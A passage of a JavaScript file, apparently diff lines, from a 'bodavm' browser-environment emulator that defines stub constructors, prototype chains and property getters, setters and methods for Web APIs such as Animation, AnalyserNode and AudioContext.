bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "startOffset", {configurable:true, enumerable:true, get:function startOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "endContainer", {configurable:true, enumerable:true, get:function endContainer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "endOffset", {configurable:true, enumerable:true, get:function endOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbstractRange', "collapsed", {configurable:true, enumerable:true, get:function collapsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "collapsed_get", arguments)}, set:undefined},'prototype'); - -// Accelerometer对象 -bodavm.memory.globalobj['Accelerometer'] = function Accelerometer(){this._boarg= new bodaobj.window.Accelerometer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Accelerometer'], "Accelerometer"); -bodavm.memory.globalobj['Accelerometer'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['Accelerometer'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('Accelerometer', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Accelerometer', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Accelerometer', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "z_get", arguments)}, set:undefined},'prototype'); - -// alert对象 -bodavm.memory.globalobj['alert'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('alert', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('alert', "name", {configurable:true, enumerable:false, writable:false, value:"alert"}); - -// AnalyserNode对象 -bodavm.memory.globalobj['AnalyserNode'] = function AnalyserNode(){if (!(this instanceof AnalyserNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnalyserNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnalyserNode'], "AnalyserNode"); -bodavm.memory.globalobj['AnalyserNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['AnalyserNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('AnalyserNode', "fftSize", {configurable:true, enumerable:true, get:function fftSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_get", arguments)}, set:function fftSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "frequencyBinCount", {configurable:true, enumerable:true, get:function frequencyBinCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "frequencyBinCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "minDecibels", {configurable:true, enumerable:true, get:function minDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_get", arguments)}, set:function minDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "maxDecibels", {configurable:true, enumerable:true, get:function maxDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_get", arguments)}, set:function maxDecibels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "smoothingTimeConstant", {configurable:true, enumerable:true, get:function smoothingTimeConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_get", arguments)}, set:function smoothingTimeConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteFrequencyData", {configurable:true, enumerable:true, writable:true, value:function getByteFrequencyData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteFrequencyData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteTimeDomainData", {configurable:true, enumerable:true, writable:true, value:function getByteTimeDomainData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteTimeDomainData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatFrequencyData", {configurable:true, enumerable:true, writable:true, value:function getFloatFrequencyData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatFrequencyData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatTimeDomainData", {configurable:true, enumerable:true, writable:true, value:function getFloatTimeDomainData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatTimeDomainData", arguments)}},'prototype'); - -// Animation对象 -bodavm.memory.globalobj['Animation'] = function Animation(){this._boarg= new bodaobj.window.Animation();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Animation'], "Animation"); -bodavm.memory.globalobj['Animation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Animation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Animation', "effect", {configurable:true, enumerable:true, get:function effect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_get", arguments)}, set:function effect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_get", arguments)}, set:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_get", arguments)}, set:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_get", arguments)}, set:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "playState", {configurable:true, enumerable:true, get:function playState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "pending", {configurable:true, enumerable:true, get:function pending (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pending_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "onfinish", {configurable:true, enumerable:true, get:function onfinish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_get", arguments)}, set:function onfinish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "oncancel", {configurable:true, enumerable:true, get:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_get", arguments)}, set:function oncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "cancel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "pause", {configurable:true, enumerable:true, writable:true, value:function pause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pause", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "play", {configurable:true, enumerable:true, writable:true, value:function play (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "play", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "reverse", {configurable:true, enumerable:true, writable:true, value:function reverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "reverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "updatePlaybackRate", {configurable:true, enumerable:true, writable:true, value:function updatePlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "updatePlaybackRate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "timeline", {configurable:true, enumerable:true, get:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_get", arguments)}, set:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "replaceState", {configurable:true, enumerable:true, get:function replaceState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "replaceState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "onremove", {configurable:true, enumerable:true, get:function onremove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_get", arguments)}, set:function onremove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finished_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "commitStyles", {configurable:true, enumerable:true, writable:true, value:function commitStyles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "commitStyles", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Animation', "persist", {configurable:true, enumerable:true, writable:true, value:function persist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "persist", arguments)}},'prototype'); - -// AnimationEffect对象 -bodavm.memory.globalobj['AnimationEffect'] = function AnimationEffect(){if (!(this instanceof AnimationEffect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEffect'], "AnimationEffect"); -bodavm.toolsFunc.defineProperty('AnimationEffect', "getComputedTiming", {configurable:true, enumerable:true, writable:true, value:function getComputedTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getComputedTiming", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEffect', "getTiming", {configurable:true, enumerable:true, writable:true, value:function getTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getTiming", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEffect', "updateTiming", {configurable:true, enumerable:true, writable:true, value:function updateTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "updateTiming", arguments)}},'prototype'); - -// AnimationEvent对象 -bodavm.memory.globalobj['AnimationEvent'] = function AnimationEvent(){if (!(this instanceof AnimationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEvent'], "AnimationEvent"); -bodavm.memory.globalobj['AnimationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AnimationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AnimationEvent', "animationName", {configurable:true, enumerable:true, get:function animationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "animationName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEvent', "elapsedTime", {configurable:true, enumerable:true, get:function elapsedTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "elapsedTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationEvent', "pseudoElement", {configurable:true, enumerable:true, get:function pseudoElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "pseudoElement_get", arguments)}, set:undefined},'prototype'); - -// AnimationPlaybackEvent对象 -bodavm.memory.globalobj['AnimationPlaybackEvent'] = function AnimationPlaybackEvent(){if (!(this instanceof AnimationPlaybackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationPlaybackEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationPlaybackEvent'], "AnimationPlaybackEvent"); -bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['AnimationPlaybackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "currentTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "timelineTime", {configurable:true, enumerable:true, get:function timelineTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "timelineTime_get", arguments)}, set:undefined},'prototype'); - -// AnimationTimeline对象 -bodavm.memory.globalobj['AnimationTimeline'] = function AnimationTimeline(){if (!(this instanceof AnimationTimeline)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationTimeline'], "AnimationTimeline"); -bodavm.toolsFunc.defineProperty('AnimationTimeline', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationTimeline'].prototype, "AnimationTimeline", "currentTime_get", arguments)}, set:undefined},'prototype'); - -// AudioBuffer对象 -bodavm.memory.globalobj['AudioBuffer'] = function AudioBuffer(){if (!(this instanceof AudioBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBuffer': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBuffer'], "AudioBuffer"); -bodavm.toolsFunc.defineProperty('AudioBuffer', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "numberOfChannels", {configurable:true, enumerable:true, get:function numberOfChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "numberOfChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "copyFromChannel", {configurable:true, enumerable:true, writable:true, value:function copyFromChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyFromChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "copyToChannel", {configurable:true, enumerable:true, writable:true, value:function copyToChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyToChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBuffer', "getChannelData", {configurable:true, enumerable:true, writable:true, value:function getChannelData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "getChannelData", arguments)}},'prototype'); - -// AudioBufferSourceNode对象 -bodavm.memory.globalobj['AudioBufferSourceNode'] = function AudioBufferSourceNode(){if (!(this instanceof AudioBufferSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBufferSourceNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBufferSourceNode'], "AudioBufferSourceNode"); -bodavm.memory.globalobj['AudioBufferSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['AudioBufferSourceNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "buffer", {configurable:true, enumerable:true, get:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_get", arguments)}, set:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "playbackRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopStart", {configurable:true, enumerable:true, get:function loopStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_get", arguments)}, set:function loopStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopEnd", {configurable:true, enumerable:true, get:function loopEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_get", arguments)}, set:function loopEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "start", arguments)}},'prototype'); - -// AudioContext对象 -bodavm.memory.globalobj['AudioContext'] = function AudioContext(){this._boarg= new bodaobj.window.AudioContext();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioContext'], "AudioContext"); -bodavm.memory.globalobj['AudioContext'].prototype.__proto__=bodavm.memory.globalobj['BaseAudioContext'].prototype; -bodavm.memory.globalobj['AudioContext'].__proto__=bodavm.memory.globalobj['BaseAudioContext']; -bodavm.toolsFunc.defineProperty('AudioContext', "baseLatency", {configurable:true, enumerable:true, get:function baseLatency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "baseLatency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "outputLatency", {configurable:true, enumerable:true, get:function outputLatency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "outputLatency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaElementSource", {configurable:true, enumerable:true, writable:true, value:function createMediaElementSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaElementSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamDestination", {configurable:true, enumerable:true, writable:true, value:function createMediaStreamDestination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamDestination", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamSource", {configurable:true, enumerable:true, writable:true, value:function createMediaStreamSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "getOutputTimestamp", {configurable:true, enumerable:true, writable:true, value:function getOutputTimestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "getOutputTimestamp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "resume", {configurable:true, enumerable:true, writable:true, value:function resume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "resume", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "suspend", {configurable:true, enumerable:true, writable:true, value:function suspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "suspend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "sinkId", {configurable:true, enumerable:true, get:function sinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "sinkId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "onsinkchange", {configurable:true, enumerable:true, get:function onsinkchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_get", arguments)}, set:function onsinkchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioContext', "setSinkId", {configurable:true, enumerable:true, writable:true, value:function setSinkId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "setSinkId", arguments)}},'prototype'); - -// AudioData对象 -bodavm.memory.globalobj['AudioData'] = function AudioData(){if (!(this instanceof AudioData)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioData': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioData'], "AudioData"); -bodavm.toolsFunc.defineProperty('AudioData', "format", {configurable:true, enumerable:true, get:function format (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "format_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "numberOfFrames", {configurable:true, enumerable:true, get:function numberOfFrames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfFrames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "numberOfChannels", {configurable:true, enumerable:true, get:function numberOfChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "allocationSize", {configurable:true, enumerable:true, writable:true, value:function allocationSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "allocationSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioData', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, 